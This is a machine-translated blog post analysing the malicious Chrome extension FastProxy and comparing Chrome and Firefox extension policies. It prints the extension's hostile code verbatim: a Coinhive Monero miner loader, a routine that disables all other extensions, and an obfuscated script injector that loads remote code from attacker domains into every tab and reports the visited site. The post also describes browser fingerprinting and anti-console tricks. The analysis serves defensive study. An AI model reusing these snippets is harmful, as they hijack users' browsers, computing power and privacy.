在本文中,我将展示chrome中的危险扩展有多危险,以及如何
Firefox扩展更安全。
这是关于扩展FastProxy。
绝对不要将其以纯铬的形式放置。
要获取其源代码,您首先需要安装另一个扩展程序Chrome扩展程序源查看器 。
之后, 打开页面 。
CRX图标将变为黄色-单击它,然后选择“以zip下载”。
现在到代码分析。
1.清单(manifest.json)-任何扩展的核心
扩展限制由CSP(内容安全策略)和权限设置:
“ content_security_policy”:“ script-src'self''unsafe-eval'https: //ssl.google-analytics.com ; object-src'self'”,
“权限”:[“代理”,“标签”,“ webRequest”,“ webRequestBlocking”,“管理”,“ \ u003Call_urls>”,“存储”],
CSP应该立即发出警报,它允许进行不安全评估(有关更多信息,请参见此处 )。
即 从传递的任何字符串中执行代码。
management
权限允许您管理其他扩展。webRequestBlocking
权限允许完全替代通过浏览器的所有请求。- 权限
\u003Call_urls>
与<all_urls>
相同-允许您在任何站点上执行操作。
在此处了解有关权限的更多信息。
即 仅基于一个清单文件,该扩展已经具有对所有内容的巨大访问权限。
关键代码文件在
“背景”:{
“脚本”:[“ lib.js”,“ jquery.min.js”,“ background.js”,“ ga.js”]
},
安装扩展程序后或启动浏览器后立即在数组中按顺序执行它们。
2.后台进程文件分析
该代码被最小化和混乱。 为了进行分类,我们将使用默认设置的网站http://jsbeautifier.org/ 。
- 我将jquery.min.js文件与原始jquery 2.2.4代码进行了比较-它们匹配。
- ga.js文件只是Google Analytics(分析)代码。
- lib.js文件是CryptoJS。
- 主要代码集中在background.js中。
为了使阅读代码更容易,我重新编写了一下代码(重命名了功能,将逗号更改为单独的块,等等)。
您也可以使用同一扩展的firefox版本来了解代码的非核心部分。
在Firefox和Chrome中,代理的使用是根本不同的。
要下载扩展的firefox版本,您需要在firefox中打开链接 。
将链接复制到“添加到Firefox”并在Chrome中打开它。
作为zip存档打开。
可以在此链接上找到重写的代码。
首先,您需要了解在脚本文件上执行的$.ajax
将此脚本嵌入页面中(在这种情况下,不是在页面中,而是在后台进程中)。
由行守卫
localStorage.C = JSON.stringify( [ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==" ] );
他们已经在告诉我们这件事不干净。
在CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config")
和CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record")
之后添加console.log
,禁止执行ajax本身。
同时,在JSON.parse( localStorage.C)[cc]
(与记录类似)中,cc从0更改为1(当看到3个元素的数组时,更改为2)。
我们得到的链接:
对于配置这个
http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4(1 )
http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4(2 )
记录下来
http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4(3 )
http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4(4 )
此外,链接仅在同时使用两个参数的uid和version时以及仅通过$ .ajax或fetch时才提供数据。 仅仅通过浏览器打开是行不通的-显然有检查传入的标题。
现在,让我们继续研究这些ajax所提供的功能。 如果您想自己阅读它们,最好在其他项目中使用访存(您将需要安装可在浏览器中解锁CORS的扩展程序)。
因此,第一个链接为我们提供了一个脚本,该脚本将自动嵌入到后台进程中,因为 存在“不安全评估”,但CSP中没有链接限制。
值得一提的是
function antiZapret (tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') { chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf(': ') != -1) document.body.innerHTML = '<center style=\"margin-top: 50px; font-size:20px;\"> .<br><br> .</center>'",runAt:"document_start"}); }
我们搜索“ anti-prohibition fastproxy”,并打开第4个搜索结果 ,“小心”部分。
事实证明,FastProxy不使用自己的代理服务器。
第二个链接给出的代码与第一个相似,但是脚本已经不同了!
function closeWindow () { const time = 500; // setInterval(function() { // chrome.tabs.getSelected(null, function (details) { // id - if (details.id == -1) window.close(); }) }, time); } closeWindow();
通常所有选项卡都有ID。 浏览器控制台选项卡窗口是一个例外。 即 这是防止通过控制台进行间谍活动的保护措施。
该文件还包含新的URL,使用CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8)
和CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8)
和CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8)
CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8)
。
前2个链接与前面的链接相同。 但是第三个是不同的:
http://fastproxy.ga/proxy/config/config.txt
对于“记录”,所有3个链接都是新的。
http://proxyrus.ru/proxy/config/data_ru.txt
http://proxy-fast.ru/proxy/config/data_ru.txt
http://fastproxy.ga/proxy/config/data_ru.txt
实际上,与config_proxy-fast.ru.js没什么不同
返回config_proxyrus.ru.js
该代码还包含关闭控制台。 然后,乐趣开始了。
弦乐
var ext_id = chrome.app.getDetails().id;
获取扩展名的标识符,这是一个未记录的功能。
当前文档使用其他方法
接下来是叉子:
if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
EXT_ID == 'fcdjcppkancjbpdhemdjhebpomdobibe' || EXT_ID == 'ofgklcpjmjllneddlbdagcfjejijgddf' || EXT_ID == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || EXT_ID == 'gmepkmkiaabodlcacffkfcebpmoignmn'){ if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
如果ext_id
不在所需的扩展列表中,则这三个链接相同。
还有一个新链接,如果它属于扩展列表+扩展完全重启。
如果有人可以找到这些扩展名,请在注释中写。 当前匹配的FastProxy ID没有匹配项。 在Google商店中搜索不会通过标识符给出任何信息。
链接说明
localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);
给
http://prowebdom.ru/update/test/proxy/config/config_ru.js
http://prowebdom.ru/update/test/proxy/config/data_ru.pac
可以直接在浏览器中打开。
config_prowebdom.ru.js
再次关闭控制台。 然后最有趣。
var coin = $.get("https://coinhive.com/lib/coinhive.min.js"); coin.done(() => { var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true}); miner.start(); })
^推出Monero矿机。 顺便说一句,请记住钱包,如果您在代码中看到类似的内容,那么这些人是同一个人。
function removeAdBlockExtensions () { window.chrome.management.getAll((extensions) => { extensions.forEach((e) => { if (e.enabled && e.id != window.chrome.runtime.id) { window.chrome.management.setEnabled(e.id, false); } }); }); } removeAdBlockExtensions();
此代码禁用除自身之外的所有扩展。
如果没有管理层的许可,这将是不可能的。
下一个
chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch);
和
function onUpdatedListenerSearch(tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined') { var ext_id = chrome.app.getDetails().id; if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') { if (tab.url.indexOf('google') == -1) { // chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('[\"7a72793462736f702e7275\",\"746b636d36686a762e7275\"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback); } } } }
tabs.onUpdated在将选项卡加载到另一个阶段中的一个阶段更新时启动回调。 此处有更多详细信息。
简而言之,它影响每个选项卡。
if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf')
除了FastProxy本身。 显然有一系列像病毒一样起作用的扩展。
if (tab.url.indexOf('google') == -1) {
除包含Google字符串的网址以外的所有网址。 显然是因为与Google的标签是临时的。 真正的原因我不清楚。
最糟糕的是,在页面完全加载到此选项卡后,每个选项卡中都实现了脚本:
通过JS美化器运行它。
借助console.log,可以省略角色游戏。
最危险的事情始于创建脚本标签的地方。
var l = document.createElement('script');
我主要感兴趣的是它的innerHTML或src。
l.setAttribute('src', document.location.protocol + '//' + h)
左边的部分很清楚-当前页面的协议。 右侧是实际链接。 将console.log放在这里
我们得到
zry4bsop.ru/d6safundjenk6af/30022_0.js
同样,通过JS beautifier运行
文件的原理是相同的-最危险的部分是添加脚本。
var e = document.createElement("script"); e.setAttribute("src", document.location.protocol + "//" + t);
我们得到
zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
如果在MDN上运行
在productforums.google.com上相同
zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js
原来右边附着在某物上
我们看一下代码
document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2]
自调用函数f中提到的
然后在中提到f
var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js";
即 通过符号操作,将访问的URL传递到脚本。
我们看一下脚本代码本身,它们是匹配的。
通过JS美化器再次运行它。
在不重写代码的情况下,您可以查看添加节点,创建脚本,替换cookie,
从头开始创建元素,ajax。 但是很难理解真正发生了什么。
因此,请尝试重命名这些编号的函数。
解开该文件很困难。 最困难的事情是不断地创建对象,这些对象创建的对象会创建对象。这也很难找到能够解开缠结的纯函数。
我无法完全解开代码。 但揭露的内容如下:
组装有关用户的完整指纹,然后通过一系列位操作将其转换为唯一的字符串。
此打印包括:
- 用户代理
- 有关已安装插件的信息(尤其是IE)。 特别值得一提的是Palemoon系列。 事实是Palemoon允许您使用Java。
- 有关使用的处理器的信息
- 有关已安装字体的信息(getFontData函数)。 而且,除了系统代码外,该代码还提供了使用扩展字体列表的功能。 但是只使用系统
- 唯一的画布打印(get2dCanvasFingerprint函数)。 假设他使用了几种非标准字符,则需要检查系统中是否存在已安装的语言。
- Webgl的唯一指纹(getWebglFingerprint函数)
- 检查导航器(hasFalseBrowser函数)提供的数据的伪造。 特别是在这方面,了解实际使用哪种浏览器很有趣,使用eval.toString()很有意思。 我永远都不会猜到。
有一个运行XMLHttpRequest的函数。 但是它未在代码中使用,并且在脚本启动时不会启动。
有一个功能可以在页面上嵌入Flash,但实际上并未使用。
看一下canvas / webgl指纹收集代码。
页面上嵌入了iframe(appendBadIframe1方法)。
现在,让我们看看此iframe中的内容。
通过JS beautifier运行。
根据代码,这是带有主脚本的信息交换器。 如果主脚本大部分用于位操作,那么将通过计算的对象属性运行电子帧。 他们使用window.postMessage在彼此之间交换消息。
文件的执行将创建6个XHR请求(并通过创建Img),并且在您单击页面时,将打开一个新窗口。
在代码中可以找到请求的解密链接。
返回扩展名
返回扩展名并记录链接。 这些链接用作chrome.proxy.settings.set方法的.pac文件。
文件代码可以在这里找到:
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js
文件的一般本质是通过受阻止的代理挂起域,并通过代理和其他直接方式(即 无代理访问。
服务器的集合和阻止的域/ ip的集合不同。
让我们找出除自动锁定(antizapret.prostovpn.org)之外的哪些服务器使用FastProxy。
我们将postls.com带入搜索。 打开第一个链接。
要阻止Browsec扩展,您需要创建一个VPM规则,该规则将阻止目标URL IP /主机名
Browsec.com
postlm.com
postls.com
即 FastProxy使用Anti-Ban和Browsec服务器而不使用其自己的服务器。
4.关于扩张潜力
使用权限webrequest + webrequestBlocking,您可以更改任何请求,包括chrome自身内部的内部请求。
即 您可以完全更改HTML页面,可以删除请求中的干扰标头,包括网站的CSP(内容安全策略)。
使用代理,您可以合并通过代理的所有用户流量。
5.关于扩展政策Google和Mozilla
Google的政策比Mozilla的政策温和得多,他们几乎发布了所有内容。
Mozilla有着严格的要求:禁止不安全评估,禁止代码混淆(如果提供完整的收集器,则允许)。
Mozilla还会定期查看扩展代码,但不会在发布后立即查看。
更多细节可以在这里和这里阅读。
因此,安装新的firefox扩展比chrome扩展要安静得多。
6.代码中的新增功能:
与过去相比,navigator提供了关于浏览器的大量不实际数据。 而且很可能会在将来提供更多。
eval.toString以及其他本机函数将允许您计算浏览器的真实版本。
在画布和webgl上的独特打印。
7.给读者的问题
如果有人使用过webgl,请告诉我们getWebglFingerprint函数的作用。 到底有什么独特之处?
所有资源都可以在这里找到。